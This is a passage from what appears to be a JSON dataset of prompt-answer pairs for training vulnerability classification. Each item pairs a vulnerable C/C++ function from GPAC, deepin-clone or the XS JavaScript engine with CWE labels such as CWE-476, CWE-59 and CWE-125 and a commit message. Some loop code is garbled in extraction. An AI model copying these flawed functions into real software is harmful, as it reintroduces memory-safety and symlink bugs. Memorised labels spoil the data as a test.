gf_list_add(mov->TopBoxes, mov->mdat);\n\t\t\t\tif (e) {\n\t\t\t\t\treturn e;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tgf_isom_box_del(a);\n\t\t\t}\n\t\t\tbreak;\n\t\tcase GF_ISOM_BOX_TYPE_FTYP:\n\t\t\t/*ONE AND ONLY ONE FTYP*/\n\t\t\tif (mov->brand) {\n\t\t\t\tgf_isom_box_del(a);\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Duplicate 'ftyp' detected!\\n\"));\n\t\t\t\treturn GF_ISOM_INVALID_FILE;\n\t\t\t}\n\t\t\tmov->brand = (GF_FileTypeBox *)a;\n\t\t\ttotSize += a->size;\n\t\t\te = gf_list_add(mov->TopBoxes, a);\n\t\t\tif (e) return e;\n\t\t\tbreak;\n\n\t\tcase GF_ISOM_BOX_TYPE_OTYP:\n\t\t\t/*ONE AND ONLY ONE FTYP*/\n\t\t\tif (mov->otyp) {\n\t\t\t\tgf_isom_box_del(a);\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Duplicate 'otyp' detected!\\n\"));\n\t\t\t\treturn GF_ISOM_INVALID_FILE;\n\t\t\t}\n\n\t\t\tif (mov->FragmentsFlags & GF_ISOM_FRAG_READ_DEBUG) {\n\t\t\t\tmov->otyp = (GF_Box *)a;\n\t\t\t\ttotSize += a->size;\n\t\t\t\te = gf_list_add(mov->TopBoxes, a);\n\t\t\t\tif (e) return e;\n\t\t\t} else {\n\t\t\t\tGF_FileTypeBox *brand = (GF_FileTypeBox *) gf_isom_box_find_child(a->child_boxes, GF_ISOM_BOX_TYPE_FTYP);\n\t\t\t\tif (brand) {\n\t\t\t\t\ts32 pos;\n\t\t\t\t\tgf_list_del_item(a->child_boxes, brand);\n\t\t\t\t\tpos = gf_list_del_item(mov->TopBoxes, mov->brand);\n\t\t\t\t\tgf_isom_box_del((GF_Box *) mov->brand);\n\t\t\t\t\tmov->brand = brand;\n\t\t\t\t\tif (pos<0) pos=0;\n\t\t\t\t\tgf_list_insert(mov->TopBoxes, brand, pos);\n\t\t\t\t}\n\t\t\t\tgf_isom_box_del(a);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase GF_ISOM_BOX_TYPE_PDIN:\n\t\t\t/*ONE AND ONLY ONE PDIN*/\n\t\t\tif (mov->pdin) {\n\t\t\t\tgf_isom_box_del(a);\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Duplicate 'pdin'' detected!\\n\"));\n\t\t\t\treturn GF_ISOM_INVALID_FILE;\n\t\t\t}\n\t\t\tmov->pdin = (GF_ProgressiveDownloadBox *) a;\n\t\t\ttotSize += a->size;\n\t\t\te = gf_list_add(mov->TopBoxes, a);\n\t\t\tif (e) return e;\n\t\t\tbreak;\n\n\n#ifndef\tGPAC_DISABLE_ISOM_FRAGMENTS\n\t\tcase GF_ISOM_BOX_TYPE_STYP:\n\t\t{\n\t\t\tu32 brand = ((GF_FileTypeBox *)a)->majorBrand;\n\t\t\tswitch (brand) {\n\t\t\tcase GF_ISOM_BRAND_SISX:\n\t\t\tcase GF_ISOM_BRAND_RISX:\n\t\t\tcase GF_ISOM_BRAND_SSSS:\n\t\t\t\tmov->is_index_segment = GF_TRUE;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t/*fall-through*/\n\n\t\tcase GF_ISOM_BOX_TYPE_SIDX:\n\t\tcase GF_ISOM_BOX_TYPE_SSIX:\n\t\t\tif (mov->moov && !mov->first_data_toplevel_offset) {\n\t\t\t\tmov->first_data_toplevel_offset = mov->current_top_box_start;\n\t\t\t\tmov->first_data_toplevel_size = a->size;\n\t\t\t}\n\t\t\ttotSize += a->size;\n\t\t\tif (mov->FragmentsFlags & GF_ISOM_FRAG_READ_DEBUG) {\n\t\t\t\te = gf_list_add(mov->TopBoxes, a);\n\t\t\t\tif (e) return e;\n\t\t\t} else if (mov->signal_frag_bounds && !(mov->FragmentsFlags & GF_ISOM_FRAG_READ_DEBUG)  && (mov->openMode!=GF_ISOM_OPEN_KEEP_FRAGMENTS)\n\t\t\t) {\n\t\t\t\tif (a->type==GF_ISOM_BOX_TYPE_SIDX) {\n\t\t\t\t\tif (mov->root_sidx) gf_isom_box_del( (GF_Box *) mov->root_sidx);\n\t\t\t\t\tmov->root_sidx = (GF_SegmentIndexBox *) a;\n\t\t\t\t\tmov->sidx_start_offset = mov->current_top_box_start;\n\t\t\t\t\tmov->sidx_end_offset = gf_bs_get_position(mov->movieFileMap->bs);\n\n\t\t\t\t}\n\t\t\t\telse if (a->type==GF_ISOM_BOX_TYPE_STYP) {\n\t\t\t\t\tmov->styp_start_offset = mov->current_top_box_start;\n\n\t\t\t\t\tif (mov->seg_styp) gf_isom_box_del(mov->seg_styp);\n\t\t\t\t\tmov->seg_styp = a;\n\t\t\t\t} else if (a->type==GF_ISOM_BOX_TYPE_SSIX) {\n\t\t\t\t\tif (mov->seg_ssix) gf_isom_box_del(mov->seg_ssix);\n\t\t\t\t\tmov->seg_ssix = a;\n\t\t\t\t} else {\n\t\t\t\t\tgf_isom_box_del(a);\n\t\t\t\t}\n\t\t\t\tgf_isom_push_mdat_end(mov, mov->current_top_box_start);\n\t\t\t} else if (!mov->NextMoofNumber && (a->type==GF_ISOM_BOX_TYPE_SIDX)) {\n\t\t\t\tif (mov->main_sidx) gf_isom_box_del( (GF_Box *) mov->main_sidx);\n\t\t\t\tmov->main_sidx = (GF_SegmentIndexBox *) a;\n\t\t\t\tmov->main_sidx_end_pos = mov->current_top_box_start + a->size;\n\t\t\t} else {\n\t\t\t\tgf_isom_box_del(a);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase GF_ISOM_BOX_TYPE_MOOF:\n\t\t\t//no support for inplace rewrite for fragmented files\n\t\t\tgf_isom_disable_inplace_rewrite(mov);\n\t\t\tif (!mov->moov) {\n\t\t\t\tGF_LOG(mov->moof ? GF_LOG_DEBUG : GF_LOG_WARNING, GF_LOG_CONTAINER, (\"[iso file] Movie fragment but no moov (yet) - possibly broken parsing!\\n\"));\n\t\t\t}\n\t\t\tif (mov->single_moof_mode) {\n\t\t\t\tmov->single_moof_state++;\n\t\t\t\tif (mov->single_moof_state > 1) {\n\t\t\t\t\tgf_isom_box_del(a);\n\t\t\t\t\treturn GF_OK;\n\t\t\t\t}\n\t\t\t}\n\t\t\t((GF_MovieFragmentBox *)a)->mov = mov;\n\n\t\t\ttotSize += a->size;\n\t\t\tmov->moof = (GF_MovieFragmentBox *) a;\n\n\t\t\t/*some smooth streaming streams contain a SDTP under the TRAF: this is incorrect, convert it*/\n\t\t\tFixTrackID(mov);\n\t\t\tif (! (mov->FragmentsFlags & GF_ISOM_FRAG_READ_DEBUG)) {\n\t\t\t\tFixSDTPInTRAF(mov->moof);\n\t\t\t} else {\n\t\t\t\tu32 k;\n\t\t\t\tfor (k=0; kmoof->TrackList); k++) {\n\t\t\t\t\tGF_TrackFragmentBox *traf = (GF_TrackFragmentBox *)gf_list_get(mov->moof->TrackList, k);\n\t\t\t\t\tif (traf->sampleGroups) {\n\t\t\t\t\t\tconvert_compact_sample_groups(traf->child_boxes, traf->sampleGroups);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/*read & debug: store at root level*/\n\t\t\tif (mov->FragmentsFlags & GF_ISOM_FRAG_READ_DEBUG) {\n\t\t\t\tu32 k;\n\t\t\t\tgf_list_add(mov->TopBoxes, a);\n\t\t\t\t/*also update pointers to trex for debug*/\n\t\t\t\tif (mov->moov) {\n\t\t\t\t\tfor (k=0; kmoof->TrackList); k++) {\n\t\t\t\t\t\tGF_TrackFragmentBox *traf = gf_list_get(mov->moof->TrackList, k);\n\t\t\t\t\t\tif (traf->tfhd && mov->moov->mvex && mov->moov->mvex->TrackExList) {\n\t\t\t\t\t\t\tGF_TrackBox *trak = gf_isom_get_track_from_id(mov->moov, traf->tfhd->trackID);\n\t\t\t\t\t\t\tu32 j=0;\n\t\t\t\t\t\t\twhile ((traf->trex = (GF_TrackExtendsBox*)gf_list_enum(mov->moov->mvex->TrackExList, &j))) {\n\t\t\t\t\t\t\t\tif (traf->trex->trackID == traf->tfhd->trackID) {\n\t\t\t\t\t\t\t\t\tif (!traf->trex->track) traf->trex->track = trak;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\ttraf->trex = NULL;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t//we should only parse senc/psec when no saiz/saio is present, otherwise we fetch the info directly\n\t\t\t\t\t\tif (traf->trex && traf->tfhd && traf->trex->track && traf->sample_encryption) {\n\t\t\t\t\t\t\tGF_TrackBox *trak = GetTrackbyID(mov->moov, traf->tfhd->trackID);\n\t\t\t\t\t\t\tif (trak) {\n\t\t\t\t\t\t\t\ttrak->current_traf_stsd_idx = traf->tfhd->sample_desc_index ? traf->tfhd->sample_desc_index : traf->trex->def_sample_desc_index;\n\t\t\t\t\t\t\t\te = senc_Parse(mov->movieFileMap->bs, trak, traf, traf->sample_encryption);\n\t\t\t\t\t\t\t\tif (e) return e;\n\t\t\t\t\t\t\t\ttrak->current_traf_stsd_idx = 0;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tfor (k=0; kmoof->TrackList); k++) {\n\t\t\t\t\t\tGF_TrackFragmentBox *traf = gf_list_get(mov->moof->TrackList, k);\n\t\t\t\t\t\tif (traf->sample_encryption) {\n\t\t\t\t\t\t\te = senc_Parse(mov->movieFileMap->bs, NULL, traf, traf->sample_encryption);\n\t\t\t\t\t\t\tif (e) return e;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t} else if (mov->openMode==GF_ISOM_OPEN_KEEP_FRAGMENTS) {\n\t\t\t\tmov->NextMoofNumber = mov->moof->mfhd->sequence_number+1;\n\t\t\t\tmov->moof = NULL;\n\t\t\t\tgf_isom_box_del(a);\n\t\t\t} else {\n\t\t\t\t/*merge all info*/\n\t\t\t\te = MergeFragment((GF_MovieFragmentBox *)a, mov);\n\t\t\t\tgf_isom_box_del(a);\n\t\t\t\tif (e) return e;\n\t\t\t}\n\n\t\t\t//done with moov\n\t\t\tif (mov->root_sidx) {\n\t\t\t\tgf_isom_box_del((GF_Box *) mov->root_sidx);\n\t\t\t\tmov->root_sidx = NULL;\n\t\t\t}\n\t\t\tif (mov->root_ssix) {\n\t\t\t\tgf_isom_box_del(mov->seg_ssix);\n\t\t\t\tmov->root_ssix = NULL;\n\t\t\t}\n\t\t\tif (mov->seg_styp) {\n\t\t\t\tgf_isom_box_del(mov->seg_styp);\n\t\t\t\tmov->seg_styp = NULL;\n\t\t\t}\n\t\t\tmov->sidx_start_offset = 0;\n\t\t\tmov->sidx_end_offset = 0;\n\t\t\tmov->styp_start_offset = 0;\n\t\t\tbreak;\n#endif\n\t\tcase GF_ISOM_BOX_TYPE_UNKNOWN:\n\t\t{\n\t\t\tGF_UnknownBox *box = (GF_UnknownBox*)a;\n\t\t\tif (box->original_4cc == GF_ISOM_BOX_TYPE_JP) {\n\t\t\t\tu8 *c = (u8 *) box->data;\n\t\t\t\tif ((box->dataSize==4) && (GF_4CC(c[0],c[1],c[2],c[3])==(u32)0x0D0A870A))\n\t\t\t\t\tmov->is_jp2 = 1;\n\t\t\t\tgf_isom_box_del(a);\n\t\t\t} else {\n\t\t\t\te = gf_list_add(mov->TopBoxes, a);\n\t\t\t\tif (e) return e;\n\t\t\t}\n\t\t}\n\t\tbreak;\n\n\t\tcase GF_ISOM_BOX_TYPE_PRFT:\n#ifndef GPAC_DISABLE_ISOM_FRAGMENTS\n\t\t\tif (!(mov->FragmentsFlags & GF_ISOM_FRAG_READ_DEBUG)) {\n\t\t\t\t//keep the last one read\n\t\t\t\tif (mov->last_producer_ref_time)\n\t\t\t\t\tgf_isom_box_del(a);\n\t\t\t\telse\n\t\t\t\t\tmov->last_producer_ref_time = (GF_ProducerReferenceTimeBox *)a;\n\t\t\t\tbreak;\n\t\t\t}\n#endif\n\t\t//fallthrough\n\t\tcase GF_ISOM_BOX_TYPE_EMSG:\n#ifndef GPAC_DISABLE_ISOM_FRAGMENTS\n\t\t\tif (! (mov->FragmentsFlags & GF_ISOM_FRAG_READ_DEBUG)) {\n\t\t\t\tif (!mov->emsgs) mov->emsgs = gf_list_new();\n\t\t\t\tgf_list_add(mov->emsgs, a);\n\t\t\t\tbreak;\n\t\t\t}\n#endif\n\t\tcase GF_ISOM_BOX_TYPE_MFRA:\n\t\tcase GF_ISOM_BOX_TYPE_MFRO:\n\t\t\t//only keep for dump mode, otherwise we ignore these boxes and we don't want to carry them over in non-fragmented file\n\t\t\tif (! (mov->FragmentsFlags & GF_ISOM_FRAG_READ_DEBUG)) {\n\t\t\t\ttotSize += a->size;\n\t\t\t\tgf_isom_box_del(a);\n\t\t\t\tbreak;\n\t\t\t}\n\t\tdefault:\n\t\t\ttotSize += a->size;\n\t\t\te = gf_list_add(mov->TopBoxes, a);\n\t\t\tif (e) return e;\n\t\t\tbreak;\n\t\t}\n\n#ifndef\tGPAC_DISABLE_ISOM_FRAGMENTS\n\t\t/*remember where we left, in case we append an entire number of movie fragments*/\n\t\tmov->current_top_box_start = gf_bs_get_position(mov->movieFileMap->bs) + mov->bytes_removed;\n#endif\n\t}\n\n\t/*we need at least moov or meta*/\n\tif (!mov->moov && !mov->meta\n#ifndef GPAC_DISABLE_ISOM_FRAGMENTS\n\t        && !mov->moof && !mov->is_index_segment\n#endif\n\t   ) {\n\t\treturn GF_ISOM_INCOMPLETE_FILE;\n\t}\n\t/*we MUST have movie header*/\n\tif (!gf_opts_get_bool(\"core\", \"no-check\")) {\n\t\tif (mov->moov && !mov->moov->mvhd) {\n\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Missing MVHD in MOOV!\\n\"));\n\t\t\treturn GF_ISOM_INVALID_FILE;\n\t\t}\n\n\t\t/*we MUST have meta handler*/\n\t\tif (mov->meta && !mov->meta->handler) {\n\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Missing handler in META!\\n\"));\n\t\t\treturn GF_ISOM_INVALID_FILE;\n\t\t}\n\t}\n\n#ifndef GPAC_DISABLE_ISOM_WRITE\n\n\tif (mov->moov) {\n\t\t/*set the default interleaving time*/\n\t\tmov->interleavingTime = mov->moov->mvhd->timeScale;\n\n#ifndef\tGPAC_DISABLE_ISOM_FRAGMENTS\n\t\t/*in edit mode with successfully loaded fragments, delete all fragment signaling since\n\t\tfile is no longer fragmented*/\n\t\tif ((mov->openMode > GF_ISOM_OPEN_READ) && (mov->openMode != GF_ISOM_OPEN_KEEP_FRAGMENTS) && mov->moov->mvex) {\n\t\t\tgf_isom_box_del_parent(&mov->moov->child_boxes, (GF_Box *)mov->moov->mvex);\n\t\t\tmov->moov->mvex = NULL;\n\t\t}\n#endif\n\n\t}\n\n\t//create a default mdat if none was found\n\tif (!mov->mdat && (mov->openMode != GF_ISOM_OPEN_READ) && (mov->openMode != GF_ISOM_OPEN_KEEP_FRAGMENTS)) {\n\t\tmov->mdat = (GF_MediaDataBox *) gf_isom_box_new(GF_ISOM_BOX_TYPE_MDAT);\n\t\tif (!mov->mdat) return GF_OUT_OF_MEM;\n\t\te = gf_list_add(mov->TopBoxes, mov->mdat);\n\t\tif (e) return e;\n\t}\n#endif /*GPAC_DISABLE_ISOM_WRITE*/\n\n\treturn GF_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'fixed #2163'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: GF_Err gf_isom_oinf_read_entry(void *entry, GF_BitStream *bs)\n{\n\tGF_OperatingPointsInformation* ptr = (GF_OperatingPointsInformation *)entry;\n\tu32 i, j, count;\n\n\tif (!ptr) return GF_BAD_PARAM;\n\tptr->scalability_mask = gf_bs_read_u16(bs);\n\tgf_bs_read_int(bs, 2);//reserved\n\tcount = gf_bs_read_int(bs, 6);\n\tfor (i = 0; i < count; i++) {\n\t\tLHEVC_ProfileTierLevel *ptl;\n\t\tGF_SAFEALLOC(ptl, LHEVC_ProfileTierLevel);\n\t\tif (!ptl) return GF_OUT_OF_MEM;\n\t\tptl->general_profile_space = gf_bs_read_int(bs, 2);\n\t\tptl->general_tier_flag= gf_bs_read_int(bs, 1);\n\t\tptl->general_profile_idc = gf_bs_read_int(bs, 5);\n\t\tptl->general_profile_compatibility_flags = gf_bs_read_u32(bs);\n\t\tptl->general_constraint_indicator_flags = gf_bs_read_long_int(bs, 48);\n\t\tptl->general_level_idc = gf_bs_read_u8(bs);\n\t\tgf_list_add(ptr->profile_tier_levels, ptl);\n\t}\n\tcount = gf_bs_read_u16(bs);\n\tfor (i = 0; i < count; i++) {\n\t\tLHEVC_OperatingPoint *op;\n\t\tGF_SAFEALLOC(op, LHEVC_OperatingPoint);\n\t\tif (!op) return GF_OUT_OF_MEM;\n\t\top->output_layer_set_idx = gf_bs_read_u16(bs);\n\t\top->max_temporal_id = gf_bs_read_u8(bs);\n\t\top->layer_count = gf_bs_read_u8(bs);\n\t\tif (op->layer_count > GF_ARRAY_LENGTH(op->layers_info)) {\n\t\t\tgf_free(op);\n\t\t\treturn GF_NON_COMPLIANT_BITSTREAM;\n\t\t}\n\t\tfor (j = 0; j < op->layer_count; j++) {\n\t\t\top->layers_info[j].ptl_idx = gf_bs_read_u8(bs);\n\t\t\top->layers_info[j].layer_id = gf_bs_read_int(bs, 6);\n\t\t\top->layers_info[j].is_outputlayer = gf_bs_read_int(bs, 1) ? GF_TRUE : GF_FALSE;\n\t\t\top->layers_info[j].is_alternate_outputlayer = gf_bs_read_int(bs, 1) ? GF_TRUE : GF_FALSE;\n\t\t}\n\t\top->minPicWidth = gf_bs_read_u16(bs);\n\t\top->minPicHeight = gf_bs_read_u16(bs);\n\t\top->maxPicWidth = gf_bs_read_u16(bs);\n\t\top->maxPicHeight = gf_bs_read_u16(bs);\n\t\top->maxChromaFormat = gf_bs_read_int(bs, 2);\n\t\top->maxBitDepth = gf_bs_read_int(bs, 3) + 8;\n\t\tgf_bs_read_int(bs, 1);//reserved\n\t\top->frame_rate_info_flag = gf_bs_read_int(bs, 1) ? GF_TRUE : GF_FALSE;\n\t\top->bit_rate_info_flag = gf_bs_read_int(bs, 1) ? GF_TRUE : GF_FALSE;\n\t\tif (op->frame_rate_info_flag) {\n\t\t\top->avgFrameRate = gf_bs_read_u16(bs);\n\t\t\tgf_bs_read_int(bs, 6); //reserved\n\t\t\top->constantFrameRate = gf_bs_read_int(bs, 2);\n\t\t}\n\t\tif (op->bit_rate_info_flag) {\n\t\t\top->maxBitRate = gf_bs_read_u32(bs);\n\t\t\top->avgBitRate = gf_bs_read_u32(bs);\n\t\t}\n\t\tgf_list_add(ptr->operating_points, op);\n\t}\n\tcount = gf_bs_read_u8(bs);\n\tfor (i = 0; i < count; i++) {\n\t\tLHEVC_DependentLayer *dep;\n\t\tGF_SAFEALLOC(dep, LHEVC_DependentLayer);\n\t\tif (!dep) return GF_OUT_OF_MEM;\n\t\tdep->dependent_layerID = gf_bs_read_u8(bs);\n\t\tdep->num_layers_dependent_on = gf_bs_read_u8(bs);\n\t\tif (dep->num_layers_dependent_on > GF_ARRAY_LENGTH(dep->dependent_on_layerID)) {\n\t\t\tgf_free(dep);\n\t\t\treturn GF_NON_COMPLIANT_BITSTREAM;\n\t\t}\n\t\tfor (j = 0; j < dep->num_layers_dependent_on; j++)\n\t\t\tdep->dependent_on_layerID[j] = gf_bs_read_u8(bs);\n\t\tfor (j = 0; j < 16; j++) {\n\t\t\tif (ptr->scalability_mask & (1 << j))\n\t\t\t\tdep->dimension_identifier[j] = gf_bs_read_u8(bs);\n\t\t}\n\t\tgf_list_add(ptr->dependency_layers, dep);\n\t}\n\n\treturn GF_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-617', 'CWE-703'], 'message': 'fixed #2165'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int main(int argc, char *argv[])\n{\n    QCoreApplication *a;\n\n    if (isTUIMode(argc, argv)) {\n        Global::isTUIMode = true;\n\n        a = new QCoreApplication(argc, argv);\n    }\n#ifdef ENABLE_GUI\n    else {\n        ConsoleAppender *consoleAppender = new ConsoleAppender;\n        consoleAppender->setFormat(logFormat);\n\n        RollingFileAppender *rollingFileAppender = new RollingFileAppender(\"/tmp/.deepin-clone.log\");\n        rollingFileAppender->setFormat(logFormat);\n        rollingFileAppender->setLogFilesLimit(5);\n        rollingFileAppender->setDatePattern(RollingFileAppender::DailyRollover);\n\n        logger->registerAppender(consoleAppender);\n        logger->registerAppender(rollingFileAppender);\n\n        if (qEnvironmentVariableIsSet(\"PKEXEC_UID\")) {\n            const quint32 pkexec_uid = qgetenv(\"PKEXEC_UID\").toUInt();\n            const QDir user_home(getpwuid(pkexec_uid)->pw_dir);\n\n            QFile pam_file(user_home.absoluteFilePath(\".pam_environment\"));\n\n            if (pam_file.open(QIODevice::ReadOnly)) {\n                while (!pam_file.atEnd()) {\n                    const QByteArray &line = pam_file.readLine().simplified();\n\n                    if (line.startsWith(\"QT_SCALE_FACTOR\")) {\n                        const QByteArrayList &list = line.split('=');\n\n                        if (list.count() == 2) {\n                            qputenv(\"QT_SCALE_FACTOR\", list.last());\n                            break;\n                        }\n                    }\n                }\n\n                pam_file.close();\n            }\n        }\n\n        DApplication::loadDXcbPlugin();\n        DApplication *app = new DApplication(argc, argv);\n\n        app->setAttribute(Qt::AA_UseHighDpiPixmaps);\n\n        if (!qApp->setSingleInstance(\"_deepin_clone_\")) {\n            qCritical() << \"As well as the process is running\";\n\n            return -1;\n        }\n\n        if (!app->loadTranslator()) {\n            dError(\"Load translator failed\");\n        }\n\n        app->setApplicationDisplayName(QObject::tr(\"Deepin Clone\"));\n        app->setApplicationDescription(QObject::tr(\"Deepin Clone is a backup and restore tool in deepin. \"\n                                                   \"It supports disk or partition clone, backup and restore, and other functions.\"));\n        app->setApplicationAcknowledgementPage(\"https://www.deepin.org/acknowledgments/deepin-clone/\");\n        app->setTheme(\"light\");\n        a = app;\n    }\n#endif\n\n    a->setApplicationName(\"deepin-clone\");\n#ifdef ENABLE_GUI\n    a->setApplicationVersion(DApplication::buildVersion(\"1.0.0.1\"));\n#else\n    a->setApplicationVersion(\"1.0.0.1\");\n#endif\n    a->setOrganizationName(\"deepin\");\n\n    CommandLineParser parser;\n\n    QFile arguments_file(\"/lib/live/mount/medium/.tmp/deepin-clone.arguments\");\n    QStringList arguments;\n\n    bool load_arg_from_file = arguments_file.exists() && !Global::isTUIMode && !a->arguments().contains(\"--tui\");\n\n    if (load_arg_from_file) {\n        arguments.append(a->arguments().first());\n\n        if (!arguments_file.open(QIODevice::ReadOnly)) {\n            qCritical() << \"Open \\\"/lib/live/mount/medium/.tmp/deepin-clone.arguments\\\" failed, error:\" << arguments_file.errorString();\n        } else {\n            while (!arguments_file.atEnd()) {\n                const QString &arg = QString::fromUtf8(arguments_file.readLine().trimmed());\n\n                if (!arg.isEmpty())\n                    arguments.append(arg);\n            }\n\n            arguments_file.close();\n            arguments_file.remove();\n        }\n\n        qDebug() << arguments;\n    } else {\n        arguments = a->arguments();\n    }\n\n    parser.process(arguments);\n\n    ConsoleAppender *consoleAppender = new ConsoleAppender;\n    consoleAppender->setFormat(logFormat);\n\n    RollingFileAppender *rollingFileAppender = new RollingFileAppender(parser.logFile());\n    rollingFileAppender->setFormat(logFormat);\n    rollingFileAppender->setLogFilesLimit(5);\n    rollingFileAppender->setDatePattern(RollingFileAppender::DailyRollover);\n\n    logger->registerCategoryAppender(\"deepin.ghost\", consoleAppender);\n    logger->registerCategoryAppender(\"deepin.ghost\", rollingFileAppender);\n\n    parser.parse();\n\n    if (load_arg_from_file) {\n        dCDebug(\"Load arguments from \\\"%s\\\"\", qPrintable(arguments_file.fileName()));\n    }\n\n    dCInfo(\"Application command line: %s\", qPrintable(arguments.join(' ')));\n\n    if (Global::debugLevel == 0) {\n        QLoggingCategory::setFilterRules(\"deepin.ghost.debug=false\");\n    }\n\n    if (Global::isTUIMode) {\n        if (!parser.target().isEmpty()) {\n            CloneJob *job = new CloneJob;\n\n            QObject::connect(job, &QThread::finished, a, &QCoreApplication::quit);\n\n            job->start(parser.source(), parser.target());\n        }\n    }\n#ifdef ENABLE_GUI\n    else {\n        if (!parser.isSetOverride())\n            Global::isOverride = true;\n\n        if (!parser.isSetDebug())\n            Global::debugLevel = 2;\n\n        MainWindow *window = new MainWindow;\n\n        window->setFixedSize(860, 660);\n        window->setStyleSheet(DThemeManager::instance()->getQssForWidget(\"main\", window));\n        window->setWindowIcon(QIcon::fromTheme(\"deepin-clone\"));\n        window->setWindowFlags(Qt::WindowCloseButtonHint | Qt::WindowMinimizeButtonHint | Qt::WindowSystemMenuHint);\n        window->titlebar()->setIcon(window->windowIcon());\n        window->titlebar()->setTitle(QString());\n#if DTK_VERSION > DTK_VERSION_CHECK(2, 0, 6, 0)\n        window->titlebar()->setBackgroundTransparent(true);\n#endif\n        window->show();\n\n        qApp->setProductIcon(window->windowIcon());\n\n        if (!parser.source().isEmpty()) {\n            window->startWithFile(parser.source(), parser.target());\n        }\n\n        QObject::connect(a, &QCoreApplication::aboutToQuit, window, &MainWindow::deleteLater);\n        QDesktopServices::setUrlHandler(\"https\", window, \"openUrl\");\n    }\n#endif\n\n    int exitCode = Global::isTUIMode ? a->exec() : qApp->exec();\n    QString log_backup_file = parser.logBackupFile();\n\n    if (log_backup_file.startsWith(\"serial://\")) {\n        log_backup_file = Helper::parseSerialUrl(log_backup_file);\n    }\n\n    if (log_backup_file.isEmpty()) {\n        return exitCode;\n    }\n\n    if (!QFile::copy(parser.logFile(), log_backup_file)) {\n        dCWarning(\"failed to copy log file to \\\"%s\\\"\", qPrintable(log_backup_file));\n    }\n\n    return exitCode;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-59', 'CWE-61'], 'message': 'fix: Do not use the \"/tmp\" directory\n\nhttps://github.com/linuxdeepin/deepin-clone/issues/16\nhttps://bugzilla.opensuse.org/show_bug.cgi?id=1130388'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void fx_DataView(txMachine* the)\n{\n\ttxSlot* slot;\n\ttxBoolean flag = 0;\n\ttxInteger offset, size;\n\ttxSlot* info;\n\ttxSlot* instance;\n\ttxSlot* view;\n\ttxSlot* buffer;\n\tif (mxIsUndefined(mxTarget))\n\t\tmxTypeError(\"call: DataView\");\n\tif ((mxArgc > 0) && (mxArgv(0)->kind == XS_REFERENCE_KIND)) {\n\t\tslot = mxArgv(0)->value.reference->next;\n\t\tif (slot && ((slot->kind == XS_ARRAY_BUFFER_KIND) || (slot->kind == XS_HOST_KIND))) {\n\t\t\tflag = 1;\n\t\t}\n\t}\n\tif (!flag)\n\t\tmxTypeError(\"buffer is no ArrayBuffer instance\");\n\t\t\n\toffset = fxArgToByteLength(the, 1, 0);\n\tinfo = fxGetBufferInfo(the, mxArgv(0));\n\tif (info->value.bufferInfo.length < offset)\n\t\tmxRangeError(\"out of range byteOffset %ld\", offset);\n\tsize = fxArgToByteLength(the, 2, -1);\n\tif (size >= 0) {\n\t\tif (info->value.bufferInfo.length < (offset + size))\n\t\t\tmxRangeError(\"out of range byteLength %ld\", size);\n\t}\n\telse {\n\t\tif (info->value.bufferInfo.maxLength < 0)\n\t\t\tsize = info->value.bufferInfo.length - offset;\n\t}\n\tmxPushSlot(mxTarget);\n\tfxGetPrototypeFromConstructor(the, &mxDataViewPrototype);\n\tinstance = fxNewDataViewInstance(the);\n\tmxPullSlot(mxResult);\n\tview = instance->next;\n\tbuffer = view->next;\n\tbuffer->kind = XS_REFERENCE_KIND;\n\tbuffer->value.reference = mxArgv(0)->value.reference;\n\tinfo = fxGetBufferInfo(the, buffer);\n\tif (info->value.bufferInfo.maxLength >= 0) {\n\t\tif (info->value.bufferInfo.length < offset)\n\t\t\tmxRangeError(\"out of range byteOffset %ld\", offset);\n\t\telse if (size >= 0) {\n\t\t\tif (info->value.bufferInfo.length < (offset + size))\n\t\t\t\tmxRangeError(\"out of range byteLength %ld\", size);\n\t\t}\n\t}\n\tview->value.dataView.offset = offset;\n\tview->value.dataView.size = size;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'XS: #896'"
+  },
+  {
